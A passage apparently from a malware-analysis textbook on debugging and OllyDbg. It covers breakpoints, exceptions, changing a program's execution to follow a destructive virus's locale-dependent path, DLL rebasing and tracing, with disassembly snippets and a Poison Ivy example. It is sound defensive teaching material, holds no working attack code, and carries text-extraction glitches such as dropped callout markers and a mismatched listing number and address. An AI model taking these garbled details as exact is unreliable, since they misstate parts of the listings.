the values on the stack when the breakpoint is triggered. Figure 8-1 shows a
screenshot of the same instruction at a breakpoint within the WinDbg debug-
ger. After the breakpoint, we display the first parameter to the function as an
ASCII string using WinDbg. (You’ll learn how to do this in Chapter 10, which
covers WinDbg.)
Figure 8-1: Using a breakpoint to see the parameters to a function call. We set a break-
point on CreateFileW and then examine the first parameter of the stack.
In this case, it is clear that the file being created is called LogFile.txt.
While we could have figured this out with IDA Pro, it was faster and easier
to get the information with a debugger.
Now imagine that we have a piece of malware and a packet capture. In
the packet capture, we see encrypted data. We can find the call to send, and
we discover the encryption code, but it is difficult to decrypt the data our-
selves, because we don’t know the encryption routine or key. Luckily, we can
use a debugger to simplify this task because encryption routines are often
separate functions that transform the data.
If we can find where the encryption routine is called, we can set a break-
point before the data is encrypted and view the data being sent, as shown in
the disassembly for this function at in Listing 8-5.
Debugging
173
004010D0 sub esp, 0CCh
004010D6 mov eax, dword_403000
004010DB xor eax, esp
004010DD mov [esp+0CCh+var_4], eax
004010E4 lea eax, [esp+0CCh+buf]
004010E7 call GetData
004010EC lea eax, [esp+0CCh+buf]
004010EFcall EncryptData
004010F4 mov ecx, s
004010FA push 0 ; flags
004010FC push 0C8h ; len
00401101 lea eax, [esp+0D4h+buf]
00401105 push eax ; buf
00401106 push ecx ; s
00401107 call ds:Send
Listing 8-5: Using a breakpoint to view data before the program encrypts it
Figure 8-2 shows a debug window from OllyDbg that displays the buffer
in memory prior to being sent to the encryption routine. The top window
shows the instruction with the breakpoint, and the bottom window displays
the message. In this case, the data being sent is Secret Message, as shown in the
ASCII column at the bottom right.
Figure 8-2: Viewing program data prior to the encryption function call
You can use several different types of breakpoints, including software
execution, hardware execution, and conditional breakpoints. Although all
breakpoints serve the same general purpose, depending on the situation,
certain breakpoints will not work where others will. Let’s look at how each
one works.
Software Execution Breakpoints
So far, we have been talking about software execution breakpoints, which cause a
program to stop when a particular instruction is executed. When you set a
174
Chapter 8
breakpoint without any options, most popular debuggers set a software exe-
cution breakpoint by default.
The debugger implements a software breakpoint by overwriting the
first byte of an instruction with 0xCC, the instruction for INT 3, the breakpoint
interrupt designed for use with debuggers. When the 0xCC instruction is exe-
cuted, the OS generates an exception and transfers control to the debugger.
Table 8-1 shows a memory dump and disassembly of a function with a
breakpoint set, side by side.
The function starts with push ebp at , which corresponds to the opcode
0x55, but the function in the memory dump starts with the bytes 0xCC at ,
which represents the breakpoint.
In the disassembly window, the debugger shows the original instruction,
but in a memory dump produced by a program other than the debugger, it
shows actual bytes stored at that location. The debugger’s memory dump will
show the original 0x55 byte, but if a program is reading its own code or an
external program is reading those bytes, the 0xCC value will be shown.
If these bytes change during the execution of the program, the break-
point will not occur. For example, if you set a breakpoint on a section of
code, and that code is self-modifying or modified by another section of code,
your breakpoint will be erased. If any other code is reading the memory of
the function with a breakpoint, it will read the 0xCC bytes instead of the origi-
nal byte. Also, any code that verifies the integrity of that function will notice
the discrepancy.
You can set an unlimited number of software breakpoints in user mode,
although there may be limits in kernel mode. The code change is small and
requires only a small amount of memory for recordkeeping in the debugger.
Hardware Execution Breakpoints
The x86 architecture supports hardware execution breakpoints through dedi-
cated hardware registers. Every time the processor executes an instruction,
there is hardware to detect if the instruction pointer is equal to the break-
point address. Unlike software breakpoints, with hardware breakpoints, it
doesn’t matter which bytes are stored at that location. For example, if you set
a breakpoint at address 0x00401234, the processor will break at that location,
regardless of what is stored there. This can be a significant benefit when
debugging code that modifies itself.
Hardware breakpoints have another advantage over software break-
points in that they can be set to break on access rather than on execution.
For example, you can set a hardware breakpoint to break whenever a certain
Table 8-1: Disassembly and Memory Dump of a Function with a Breakpoint Set
Disassembly view
Memory dump
00401130 55 push ebp
00401131 8B EC mov ebp, esp
00401133 83 E4 F8 and esp, 0FFFFFFF8h
00401136 81 EC A4 03 00 00 sub esp, 3A4h
0040113C A1 00 30 40 00 mov eax, dword_403000
00401130CC 8B EC 83
00401134 E4 F8 81 EC
00401138 A4 03 00 00
0040113C A1 00 30 40
00401140 00
Debugging
175
memory location is read or written. If you’re trying to determine what the
value stored at a memory location signifies, you could set a hardware break-
point on the memory location. Then, when there is a write to that location,
the debugger will break, regardless of the address of the instruction being
executed. (You can set access breakpoints to trigger on reads, writes, or both.)
Unfortunately, hardware execution breakpoints have one major draw-
back: only four hardware registers store breakpoint addresses.
One further drawback of hardware breakpoints is that they are easy to
modify by the running program. There are eight debug registers in the chip-
set, but only six are used. The first four, DR0 through DR3, store the address
of a breakpoint. The debug control register (DR7) stores information on
whether the values in DR0 through DR3 are enabled and whether they repre-
sent read, write, or execution breakpoints. Malicious programs can modify
these registers, often to interfere with debuggers. Thankfully, x86 chips have
a feature to protect against this. By setting the General Detect flag in the DR7
register, you will trigger a breakpoint to occur prior to executing any mov
instruction that is accessing a debug register. This will allow you to detect
when a debug register is changed. Although this method is not perfect (it
detects only mov instructions that access the debug registers), it’s valuable
nonetheless.
Conditional Breakpoints
Conditional breakpoints are software breakpoints that will break only if a cer-
tain condition is true. For example, suppose you have a breakpoint on the
function GetProcAddress. This will break every time that GetProcAddress is called.
But suppose that you want to break only if the parameter being passed to
GetProcAddress is RegSetValue. This can be done with a conditional breakpoint.
In this case, the condition would be the value on the stack that corresponds
to the first parameter.
Conditional breakpoints are implemented as software breakpoints that
the debugger always receives. The debugger evaluates the condition, and
if the condition is not met, it automatically continues execution without
alerting the user. Different debuggers support different conditions.
Breakpoints take much longer to run than ordinary instructions, and
your program will slow down considerably if you set a conditional breakpoint
on an instruction that is accessed often. In fact, the program may slow down
so much that it will never finish. This is not a concern for unconditional
breakpoints, because the extent to which the program slows down is irrele-
vant when compared to the amount of time it takes to examine the program
state. Despite this drawback, conditional breakpoints can prove really useful
when you are dissecting a narrow segment of code.
Exceptions
Exceptions are the principal way that a debugger gains control of a running
program. Under the hood, even breakpoints generate exceptions, but non-
debugging related events, such as invalid memory accesses and division by
zero, will do so as well.
176
Chapter 8
Exceptions are not specific to malware, malware analysis, or debugging.
They are often caused by bugs, which is why debuggers usually handle them.
But exceptions can also be used to govern the flow of execution in a normal
program without involving a debugger. There is functionality in place to
ensure that the debugger and the program being debugged can both use
exceptions.
First- and Second-Chance Exceptions
Debuggers are usually given two opportunities to handle the same exception:
a first-chance exception and a second-chance exception.
When an exception occurs while a debugger is attached, the program
being debugged stops executing, and the debugger is given a first chance at
control. The debugger can handle the exception or pass it to the program.
(When debugging a program, you will need to decide how to handle excep-
tions, even if they are unrelated to the code you’re interested in.)
If the program has a registered exception handler, that is given a chance
to handle the exception after the debugger’s first chance. For example, a cal-
culator program could register an exception handler for the divide-by-zero
exception. If the program executes a divide-by-zero operation, the exception
handler can inform the user of the error and continue to execute. This is
what happens when a program runs without a debugger attached.
If an application does not handle the exception, the debugger is given
another chance to handle it—the second-chance exception. When the debugger
receives a second-chance exception, it means that program would have
crashed if the debugger were not attached. The debugger must resolve
the exception to allow the program to run.
When analyzing malware, you are generally not looking for bugs, so first-
chance exceptions can often be ignored. (Malware may intentionally gener-
ate first-chance exceptions in order to make the program difficult to debug,
as you’ll learn in Chapters 15 and 16.)
Second-chance exceptions cannot be ignored, because the program
cannot continue running. If you encounter second-chance exceptions while
debugging malware, there may be bugs in the malware that are causing it to
crash, but it is more likely that the malware doesn’t like the environment in
which it is running.
Common Exceptions
There are several common exceptions. The most common exception is one
that occurs when the INT 3 instruction is executed. Debuggers have special
code to handle INT 3 exceptions, but OSs treat these as any other exception.
Programs may include their own instructions for handling INT 3 excep-
tions, but when a debugger is attached, it will get the first chance. If the
debugger passes the exception to the program, the program’s exception
handler should handle it.
Single-stepping is also implemented as an exception within the OS.
A flag in the flags register called the trap flag is used for single-stepping.
Debugging
177
When the trap flag is set, the processor executes one instruction and then
generates an exception.
A memory-access violation exception is generated when code tries to access
a location that it cannot access. This exception usually occurs because the
memory address is invalid, but it may occur because the memory is not acces-
sible due to access-control protections.
Certain instructions can be executed only when the processor is in privi-
leged mode. When the program attempts to execute them outside privileged
mode, the processor generates an exception.
NOTE
Privileged mode is the same as kernel mode, and nonprivileged mode is the same
as user mode. The terms privileged and nonprivileged are more commonly used
when talking about the processor. Examples of privileged instructions are ones that
write to hardware or modify the memory page tables.
Modifying Execution with a Debugger
Debuggers can be used to change program execution. You can change the
control flags, the instruction pointer, or the code itself to modify the way that
a program executes.
For example, to avoid a function call, you could set a breakpoint where
the function is called. When the breakpoint is hit, you could set the instruc-
tion pointer to the instruction after the call, thus preventing the call from
taking place. If the function is particularly important, the program might not
run properly when it is skipped or it might crash. If the function does not
impact other areas of the program, the program might continue running
without a problem.
You can also use a debugger to change the instruction pointer. For
example, say you have a function that manipulates a string called encodeString,
but you can’t determine where encodeString is called. You can use a debugger
to run a function without knowing where the function is called. To debug
encodeString to see what happens if the input string is "Hello World", for
instance, set the value at esp+4 to a pointer to the string "Hello World". You
could then set the instruction pointer to the first instruction of encodeString
and single-step through the function to see what it does. Of course, in doing
so, you destroy the program’s stack, and the program won’t run properly
once the function is complete, but this technique can prove extremely useful
when you just want to see how a certain section of code behaves.
Modifying Program Execution in Practice
The last example in this chapter comes from a real virus that performed dif-
ferently depending on the language settings of the computer infected. If the
language setting was simplified Chinese, the virus uninstalled itself from the
machine and caused no damage. If the language setting was English, it dis-
played a pop-up with a poorly translated message saying, “You luck’s so good.”
If the language setting was Japanese or Indonesian, the virus overwrote the
178
Chapter 8
hard drive with garbage data in an effort to destroy the computer. Let’s see
how we could analyze what this program would do on a Japanese system with-
out actually changing our language settings.
Listing 8-7 shows the assembly code for differentiating between language
settings. The program first calls the function GetSystemDefaultLCID. Next, based
on the return value, the program calls one of three different functions: The
locale IDs for English, Japanese, Indonesian, and Chinese are 0x0409, 0x0411,
0x0421, and 0x0C04, respectively.
00411349 call GetSystemDefaultLCID
0041134F mov [ebp+var_4], eax
00411352 cmp [ebp+var_4], 409h
00411359 jnz short loc_411360
0041135B call sub_411037
00411360 cmp [ebp+var_4], 411h
00411367 jz short loc_411372
00411369 cmp [ebp+var_4], 421h
00411370 jnz short loc_411377
00411372 call sub_41100F
00411377 cmp [ebp+var_4], 0C04h
0041137E jnz short loc_411385
00411380 call sub_41100A
Listing 8-6: Assembly for differentiating between language settings
The code calls the function at 0x411037 if the language is English, 0x41100F
if the language is Japanese or Indonesian, and 0x411001 if the language is
Chinese. In order to analyze this properly, we need to execute the code that
runs when the system locale setting is Japanese or Indonesian. We can use a
debugger to force the code to run this code path without changing the set-
tings on our system by setting a breakpoint at to change the return value.
Specifically, if you were running on a US English system, EAX would store
the value 0x0409. You could change EAX in the debugger to 0x411, and then
continue running the program so that it would execute the code as if you
were running on a Japanese language system. Of course, you would want to
do this only in a disposable virtual machine.
Conclusion
Debugging is a critical tool for obtaining information about a malicious pro-
gram that would be difficult to obtain through disassembly alone. You can
use a debugger to single-step through a program to see exactly what’s hap-
pening internally or to set breakpoints to get information about particular
sections of code. You can also use a debugger to modify the execution of a
program in order to gain additional information.
It takes practice to be able to analyze malware effectively with a debug-
ger. The next two chapters cover the specifics of using the OllyDbg and
WinDbg debuggers.
O L L Y D B G
This chapter focuses on OllyDbg, an x86 debugger
developed by Oleh Yuschuk. OllyDbg provides the abil-
ity to analyze malware while it is running. OllyDbg is
commonly used by malware analysts and reverse engi-
neers because it’s free, it’s easy to use, and it has many
plug-ins that extend its capabilities.
OllyDbg has been around for more than a decade and has an interesting
history. It was first used to crack software, even before it became popular for
malware analysis. It was the primary debugger of choice for malware analysts
and exploit developers, until the OllyDbg 1.1 code base was purchased by the
Immunity security company and rebranded as Immunity Debugger (ImmDbg).
Immunity’s goal was to gear the tool toward exploit developers and to patch
bugs in OllyDbg. ImmDbg ended up cosmetically modifying the OllyDbg
GUI and adding a fully functional Python interpreter with API, which led
some users to begin using ImmDbg instead of OllyDbg.
180
Chapter 9
That said, if you prefer ImmDbg, don’t worry, because it is basically the
same as OllyDbg 1.1, and everything you’ll learn in this chapter applies to
both. The only item of note is that many plug-ins for OllyDbg won’t automat-
ically run in ImmDbg. Therefore, until they are ported, in ImmDbg you may
lose access to those OllyDbg plug-ins. ImmDbg does have its benefits, such as
making it easier to extend functionality through the use of the Python API,
which we discuss in “Scriptable Debugging” on page 200.
Adding to OllyDbg’s complicated history, version 2.0 was released in
June 2010. This version was written from the ground up, but many consider
it to be a beta version, and it is not in widespread use as of this writing.
Throughout this chapter and the remainder of this book, we will point out
times when version 2.0 has a useful applicable feature that does not exist in
version 1.1.
Loading Malware
There are several ways to begin debugging malware with OllyDbg. You can
load executables and even DLLs directly. If malware is already running on
your system, you can attach to the process and debug that way. OllyDbg pro-
vides a flexible system to run malware with command-line options or to exe-
cute specific functionality within a DLL.
Opening an Executable
The easiest way to debug malware is to select FileOpen, and then browse to
the executable you wish to load, as shown in Figure 9-1. If the program you
are debugging requires arguments, specify them in the Arguments field of
the Open dialog. (During loading is the only time you can pass command-
line arguments to OllyDbg.)
Figure 9-1: Opening an executable with command-line
options
OllyDbg
181
Once you’ve opened an executable, OllyDbg will load the binary using
its own loader. This works similarly to the way that the Windows OS loads
a file.
By default, OllyDbg will pause at the software developer’s entry point,
known as WinMain, if its location can be determined. Otherwise, it will break at
the entry point as defined in the PE header. You can change these startup
options by selecting from OllyDbg’s Debugging Options menu (Options
Debugging Options). For example, to break immediately before any code
executes, select System Breakpoint as the startup option.
NOTE
OllyDbg 2.0 has more breaking capabilities than version 1.1. For example, it can be set
to pause at the start of a TLS callback. TLS callbacks can allow malware to execute
before OllyDbg pauses execution. In Chapter 16, we discuss how TLS callbacks can be
used for anti-debugging and how to protect yourself from them.
Attaching to a Running Process
In addition to opening an executable directly, you can attach OllyDbg to a
running process. You’ll find this feature useful when you want to debug run-
ning malware.
To attach OllyDbg to a process, select FileAttach. This will bring up a
menu in which you can select the process to which you want to attach. (You’ll
need to know the process ID if there is more than one process with the same
name.) Next, select the process and choose Attach from the menu. OllyDbg
should break in and pause the program and all threads.
Once you are attached with OllyDbg, the current executing thread’s
code will be paused and displayed on your screen. However, you might have
paused while it was executing an instruction from within a system DLL. You
don’t want to debug Windows libraries, so when this happens, the easiest
way to get to the main code is to set a breakpoint on access to the entire
code section. This will cause the program to break execution the next time
the code section is accessed. We will explain setting breakpoints like these
later in this chapter.
The OllyDbg Interface
As soon as you load a program into OllyDbg, you will see four windows filled
with information that you will find useful for malware analysis, as shown in
Figure 9-2.
182
Chapter 9
Figure 9-2: The OllyDbg interface
These windows display information as follows:
Disassembler window
This window shows the debugged program’s
code—the current instruction pointer with several instructions before
and after it. Typically, the next instruction to be executed will be high-
lighted in this window. To modify instructions or data (or add new
assembly instructions), press the spacebar within this window.
Stack window
This window shows the current state of the stack in
memory for the thread being debugged. This window will always show
the top of the stack for the given thread. You can manipulate stacks in
this window by right-clicking a stack location and selecting Modify.
OllyDbg places useful comments on some stack locations that describe
Registers window
This window
shows the current state of the registers
for the debugged program. As the code
is debugged, these registers will change
color from black to red once the previ-
ously executed instruction has modified
the register. As in the disassembler win-
dow, you can modify data in the registers
window as the program is debugged by
right-clicking any register value and
selecting Modify. You will be presented
with the Modify dialog, as shown in Fig-
ure 9-3. You can then change the value.
Figure 9-3: Modifying a register
OllyDbg
183
the arguments placed on the stack before an API call. These aid analysis,
since you won’t need to figure out the stack order and look up the API
argument ordering.
Memory dump window
This window shows a dump of live memory
for the debugged process. Press CTRL-G in this window and enter a
memory location to dump any memory address. (Or click a memory
address and select Follow in Dump to dump that memory address.)
To edit memory in this window, right-click it and choose BinaryEdit.
This can be used to modify global variables and other data that malware
stores in RAM.
Memory Map
The Memory Map window (ViewMemory) displays all memory blocks allo-
cated by the debugged program. Figure 9-4 shows the memory map for the
Netcat program.
Figure 9-4: Memory map for Netcat (nc.exe)
The memory map is great way to see how a program is laid out in memory.
As you can see in Figure 9-4, the executable is labeled along with its code and
data sections. All DLLs and their code and data sections are also viewable.
You can double-click any row in the memory map to show a memory dump of
that section. Or you can send the data in a memory dump to the disassembler
window by right-clicking it and selecting View in Disassembler.
184
Chapter 9
Rebasing
The memory map can help you understand how a PE file is rebased during
runtime. Rebasing is what happens when a module in Windows is not loaded
at its preferred base address.
Base Addresses
All PE files in Windows have a preferred base address, known as the image
base defined in the PE header.
The image base isn’t necessarily the address where the malware will be
loaded, although it usually is. Most executables are designed to be loaded at
0x00400000, which is just the default address used by many compilers for the
Windows platform. Developers can choose to base executables at different
addresses. Executables that support address space layout randomization (ASLR)
security enhancement will often be relocated. That said, relocation of DLLs
is much more common.
Relocation is necessary because a single application may import many
DLLs, each with a preferred base address in memory where they would like
to be loaded. If two DLLs are loaded, and they both have the preferred load
address of 0x10000000, they can’t both be loaded there. Instead, Windows
will load one of the DLLs at that address, and then relocate the other DLL
somewhere else.
Most DLLs that are shipped with the Windows OS have different pre-
ferred base addresses and won’t collide. However, third-party applications
often have the same preferred base address.
Absolute vs. Relative Addresses
The relocation process is more involved than simply loading the code at
another location. Many instructions refer to relative addresses in memory,
but others refer to absolute ones. For example, Listing 9-1 shows a typical
series of instructions.
00401203
mov eax, [ebp+var_8]
00401206
cmp [ebp+var_4], 0
0040120a
jnz loc_0040120
0040120c
mov eax, dword_40CF60
Listing 9-1: Assembly code that requires relocation
Most of these instructions will work just fine, no matter where they are
loaded in memory since they use relative addresses. However, the data-access
instruction at will not work, because it uses an absolute address to access a
memory location. If the file is loaded into memory at a location other than
the preferred base location, then that address will be wrong. This instruction
must be changed when the file is loaded at a different address. Most DLLs
will come packaged with a list of these fix-up locations in the .reloc section of
the PE header.
OllyDbg
185
DLLs are loaded after the .exe and in any order. This means you cannot
generally predict where DLLs will be located in memory if they are rebased.
DLLs can have their relocation sections removed, and if a DLL lacking a
relocation section cannot be loaded at its preferred base address, then it
cannot be loaded.
The relocating of DLLs is bad for performance and adds to load time.
The compiler will select a default base address for all DLLs when they are
compiled, and generally the default base address is the same for all DLLs.
This fact greatly increases the likelihood that relocation will occur, because
all DLLs are designed to be loaded at the same address. Good programmers
are aware of this, and they select base addresses for their DLLs in order to
minimize relocation.
Figure 9-5 illustrates DLL relocation using the memory map functional-
ity of OllyDbg for EXE-1. As you can see, we have one executable and two
DLLs. DLL-A, with a preferred load address of 0x10000000, is already in
memory. EXE-1 has a preferred load address of 0x00400000. When DLL-B
was loaded, it also had preferred load address of 0x10000000, so it was relo-
cated to 0x00340000. All of DLL-B’s absolute address memory references are
changed to work properly at this new address.
Figure 9-5: DLL-B is relocated into a different
memory address from its requested location
If you’re looking at DLL-B in IDA Pro while also debugging the applica-
tion, the addresses will not be the same, because IDA Pro has no knowledge
of rebasing that occurs at runtime. You may need to frequently adjust every
time you want to examine an address in memory that you got from IDA Pro.
To avoid this issue, you can use the manual load process we discussed in
Chapter 5.
Viewing Threads and Stacks
Malware often uses multiple threads. You can view the current threads within
a program by selecting ViewThreads to bring up the Threads window. This
window shows the memory locations of the threads and their current status
(active, paused, or suspended).
Since OllyDbg is single-threaded, you might need to pause all of the
threads, set a breakpoint, and then continue to run the program in order to
begin debugging within a particular thread. Clicking the pause button in the
main toolbar pauses all active threads. Figure 9-6 shows an example of the
Threads window after all five threads have been paused.
186
Chapter 9
You can also kill individual threads by right-clicking an individual thread,
which displays the options shown in Figure 9-6, and selecting Kill Thread.
Figure 9-6: Threads window showing five paused threads and the
context menu for an individual thread
Each thread in a given process has its own stack, and important data is
often stored on the stack. You can use the memory map to view the stacks in
memory. For example, in Figure 9-4, you can see that OllyDbg has labeled
the main thread stack as “stack of main thread.”
Executing Code
A thorough knowledge and ability to execute code within a debugger is
important to debugging success, and there are many different ways to exe-
cute code in OllyDbg. Table 9-1 lists the most popular methods.
The simplest options, Run and Pause, cause a program to start or stop
running. However, Pause is seldom used, because it can cause a program to
pause in a location that is not very useful (such as on library code). Rather
than use Pause, you will typically want to be more selective by setting break-
points, as discussed in the next section.
Table 9-1: OllyDbg Code-Execution Options
Function
Menu
Hotkey
Button
Run/Play
DebugRun
F9
Pause
DebugPause
F12
Run to selection
BreakpointRun to Selection
F4
Run until return
DebugExecute till Return
CTRL-F9
Run until user code
DebugExecute till User Code
ALT-F9
Single-step/step-into
DebugStep Into
F7
Step-over
DebugStep Over
F8
OllyDbg
187
The Run option is used frequently to restart a stopped process, often
after hitting a breakpoint, in order to continue execution. The Run to Selec-
tion option will execute the code until just before the selected instruction is
executed. If the selected instruction is never executed, the program will run
indefinitely.
The Execute till Return option will pause execution just before the cur-
rent function is set to return. This can be useful when you want a program to
pause immediately after the current function is finished executing. However,
if the function never ends, the program will continue to run indefinitely.
The Execute till User Code option is useful during malware analysis when
you get lost in library code while debugging. When paused within library code,
select DebugExecute till User Code to cause the program to run until the
execution returns to compiled malware code (typically the .text section) you
were debugging.
OllyDbg provides several ways to step through code. As discussed in
Chapter 8, stepping refers to the concept of executing a single instruction,
and then immediately pausing execution afterward, allowing you to keep
track of the program instruction by instruction.
OllyDbg offers the two types of stepping described in the previous chapter:
single-stepping (also known as stepping-into) and stepping-over. To single-step,
press the F7 key. To step-over, press F8.
As we noted, single-stepping is the easiest form of stepping and means
that OllyDbg will execute a single instruction and then pause, no matter
which type of instruction you are executing. For example, if you single-step
the instruction call 01007568, OllyDbg will pause at the address 01007568
(because the call instruction transferred EIP to that address).
Conceptually, stepping-over is almost as simple as single-stepping. Con-
sider the following listing of instructions:
010073a4
call 01007568
010073a9
xor ebx, ebx
If you step-over the call instruction, OllyDbg will immediately pause exe-
cution at 010073a9 (the xor ebx, ebx instruction after the call). This is useful
because you may not want to dive into the subroutine located at 01007568.
Although stepping-over is conceptually simple, under the hood, it is
much more complicated. OllyDbg places a breakpoint at 010073a9, resumes
execution (as if you had hit the Run button), and then when the subroutine
eventually executes a ret instruction, it will pause at 010073a9 due to the hid-
den breakpoint.
WARNING
In almost all cases, stepping-over will work as expected. But in rare cases, it’s possible
for obfuscated or malicious code to take advantage of this process. For example, the
subroutine at 01007568 might never execute a ret, or it could be a so-called get-EIP
operation that pops the return address off the stack. In rare cases such as these, stepping-
over could cause the program to resume execution without ever pausing, so be aware
and use it cautiously.
188
Chapter 9
Breakpoints
As discussed in Chapter 8, there are several different types of breakpoints,
and OllyDbg supports all of those types. By default, it uses software break-
points, but you can also use hardware breakpoints. Additionally, you can set
conditional breakpoints, as well as set breakpoints on memory.
You can add or remove a breakpoint by selecting the instruction in the
disassembler window and pressing F2. You can view the active breakpoints
in a program by selecting ViewBreakpoints or clicking the B icon in the
toolbar.
After you close or terminate a debugged program, OllyDbg will typically
save the breakpoint locations you set, which will enable you to debug the pro-
gram again with the same breakpoints (so you don’t need to set the break-
points again). Table 9-2 shows a complete listing of OllyDbg’s breakpoints.
Software Breakpoints
Software breakpoints are particularly useful when debugging a string decoder
function. Recall from Chapter 1 that strings can be a useful way to gain
insight into a program’s functionality, which is why malware authors often
try to obfuscate strings. When malware authors do this, they often use a string
decoder, which is called before each string is used. Listing 9-2 shows an
example with calls to String_Decoder after obfuscated data is pushed on the
stack.
push offset "4NNpTNHLKIXoPm7iBhUAjvRKNaUVBlr"
call String_Decoder
...
push offset "ugKLdNlLT6emldCeZi72mUjieuBqdfZ"
call String_Decoder
...
Listing 9-2: A string decoding breakpoint
The obfuscated data is often decoded into a useful string on the stack, so
the only way to see it is to view the stack once the string decoder is complete.
Therefore, the best place to set a breakpoint to view all of the strings is at the
end of the string decoder routine. In this way, each time you choose Play in
OllyDbg, the program will continue executing and will break when a string is
Table 9-2: OllyDbg Breakpoint Options
Function
Right-click menu selection
Hotkey
Software breakpoint
BreakpointToggle
F2
Conditional breakpoint
BreakpointConditional
SHIFT-F2
Hardware breakpoint
BreakpointHardware, on Execution
Memory breakpoint on access
(read, write, or execute)
BreakpointMemory, on Access
F2
(select memory)
Memory breakpoint on write
BreakpointMemory, on Write
OllyDbg
189
decoded for use. This method will identify only the strings the program uses
as it uses them. Later in this chapter, we will discuss how to modify instruc-
tions to decode all of the strings at once.
Conditional Breakpoints
As you learned in the previous chapter, conditional breakpoints are software
breakpoints that will break only if a certain condition is true. OllyDbg allows
you to set conditional breakpoints using expressions; each time the software
breakpoint is hit, the expression is evaluated. If the expression result is non-
zero, execution pauses.
WARNING
Be careful when using conditional breakpoints. Setting one may cause your program to
run much more slowly, and if you are incorrect about your condition, the program may
never stop running.
Conditional software breakpoints can be particularly useful when you
want to save time when trying to pause execution once a certain parameter is
passed to a frequently called API function, as demonstrated in the following
example.
You can use conditional breakpoints to detect memory allocations above
a certain size. Consider Poison Ivy, a popular backdoor, which receives com-
mands through the Internet from a command-and-control server operated
by an attacker. The commands are implemented in shellcode, and Poison Ivy
allocates memory to house the shellcode it receives. However, most of the
memory allocations performed in Poison Ivy are small and uninteresting,
except when the command-and-control server sends a large quantity of shell-
code to be executed.
The best way to catch the Poison Ivy allocation for that shellcode is to set
a conditional breakpoint at the VirtualAlloc function in Kernel32.dll. This is
the API function that Poison Ivy uses to dynamically allocate memory; there-
fore, if you set a conditional breakpoint when the allocation size is greater
than 100 bytes, the program will not pause when the smaller (and more fre-
quent) memory allocations occur.
To set our trap, we can begin by putting a standard breakpoint at the
start of the VirtualAlloc function to run until the breakpoint is hit. Figure 9-7
shows the stack window when a breakpoint is hit at the start of VirtualAlloc.
Figure 9-7: Stack window at the start of
VirtualAlloc
The figure shows the top five items on the stack. The return address
is first, followed by the four parameters (Address, Size, AllocationType, and
Protect) for VirtualAlloc. The parameters are labeled next to their values and
location in the stack. In this example, 0x29 bytes are to be allocated. Since
the top of the stack is pointed to by the ESP register in order to access the
Size field, we must reference it in memory as [ESP+8].
190
Chapter 9
Figure 9-8 shows the disassembler window when a breakpoint is hit at the
start of VirtualAlloc. We set a conditional breakpoint when [ESP+8]>100, in
order to catch Poison Ivy when it is about to receive a large amount of shell-
code. To set this conditional software breakpoint, follow these steps:
1.
Right-click in the disassembler window on the first instruction of the
function, and select BreakpointConditional. This brings up a dialog
asking for the conditional expression.
2.
Set the expression and click OK. In this example, use [ESP+8]>100.
3.
Click Play and wait for the code to break.
Figure 9-8: Setting a conditional breakpoint in the
disassembler window
Hardware Breakpoints
OllyDbg provides functionality for setting hardware breakpoints through the
use of dedicated hardware registers, as described in Chapter 8.
Hardware breakpoints are powerful because they don’t alter your code,
stack, or any target resource. They also don’t slow down execution speed. As
we noted in the previous chapter, the problem with hardware breakpoints is
that you can set only four at a time.
To set hardware breakpoints on an instruction, right-click that instruc-
tion and select BreakpointHardware, on Execution.
You can tell OllyDbg to use hardware breakpoints instead of software
breakpoints by default by using the Debugging Options menu. You might do
this in order to protect against certain anti-debugging techniques, such as
software breakpoint scanning, as we’ll discuss in Chapter 16.
Memory Breakpoints
OllyDbg supports memory breakpoints, allowing you to set a breakpoint on a
chunk of memory in order to have the code break on access to that memory.
OllyDbg supports the use of software and hardware memory breakpoints, as
well as the ability to specify whether you want it to break on read, write, exe-
cute, or any access.
OllyDbg
191
To set a basic memory breakpoint, select a portion of memory in the
memory dump window or a section in the memory map, right-click it, and
select BreakpointMemory, on Access. You can set only one memory break-
point at a time. The previously set memory breakpoint is removed if you set a
new one.
OllyDbg implements software memory breakpoints by changing the attri-
butes of memory blocks containing your selection. However, this technique
is not always reliable and can bring with it considerable overhead. Therefore,
you should use memory breakpoints sparingly.
Memory breakpoints are particularly useful during malware analysis
when you want to find out when a loaded DLL is used: you can use a memory
breakpoint to pause execution as soon as code in the DLL is executed. To do
this, follow these steps:
1.
Bring up the Memory Map window and right-click the DLL’s .text sec-
tion (the section that contains the program’s executable code).
2.
Select Set Memory Breakpoint on Access.
3.
Press F9 or click the play button to resume execution.
The program should break when execution ends up in the DLL’s .text
section.
Loading DLLs
In addition to being able to load and attach to executables, OllyDbg can also
debug DLLs. However, since DLLs cannot be executed directly, OllyDbg uses
a dummy program called loaddll.exe to load them. This technique is extremely
useful, because malware often comes packaged as a DLL, with most of its
code contained inside its DllMain function (the initialization function called
when a DLL is loaded into a process). By default, OllyDbg breaks at the DLL
entry point (DllMain) once the DLL is loaded.
Next, OllyDbg will pause, and you can call specific exports with arguments
and debug them by selecting DebugCall DLL Export from the main menu.
For example, in Figure 9-10, we have loaded ws2_32.dll into OllyDbg and
called the ntohl function at , which converts a 32-bit number from network
to host byte order. On the left, we can add any arguments we need. Here, we
add one argument, which is 127.0.0.1 (0x7F000001) in network byte order at .
The boxes on the left are checked only where we are supplying arguments.
In order to call exported functions
with arguments inside the debugged
DLL, you first need to load the DLL with
OllyDbg. Then, once it pauses at the
DLL entry point, click the play button to
run DllMain and any other initialization
the DLL requires, as shown in Figure 9-9.
Figure 9-9: OllyDbg play button
192
Chapter 9
Figure 9-10: Calling DLL exports
You can quickly view the assembly instructions for ntohl by clicking the
Follow in Disassembler button. The Hide on call checkbox on the bottom
right can be used to hide this window after you perform a call. The Pause
after call checkbox is useful for pausing execution immediately after the
export is called, which can be a useful alternative to using breakpoints.
Once you have set up your arguments and any registers, click the Call
button at the bottom right to force the call to take place. The OllyDbg win-
dow should then show the value of all registers before and after the call.
To debug this exported function, be sure to set any breakpoints before
clicking Call, or check the Pause after call checkbox. In Figure 9-10, you see
the result of the function stored in EAX, which is 127.0.0.1 (0x0100007F) in
host byte order shown at .
Tracing
Tracing is a powerful debugging technique that records detailed execution
information for you to examine. OllyDbg supports a variety of tracing fea-
tures, including the standard back trace, call stack trace, and run trace.
Standard Back Trace
Any time you are moving through the disassembler window with the Step
Into and Step Over options, OllyDbg is recording that movement. You can
use the minus () key on your keyboard to move back in time and see the
instructions you previously executed. The plus () key will take you forward.
If you used Step Into, you can trace each step taken. If you used Step Over,
OllyDbg
193
you can step in only the areas that you stepped on before; you can’t go back
and then decide to step into another area.
Call Stack
You can use OllyDbg to view the execution path to a given function via a call
stack trace. To view a call stack, select ViewCall Stack from the main menu.
You will see a window displaying the sequence of calls taken to reach your
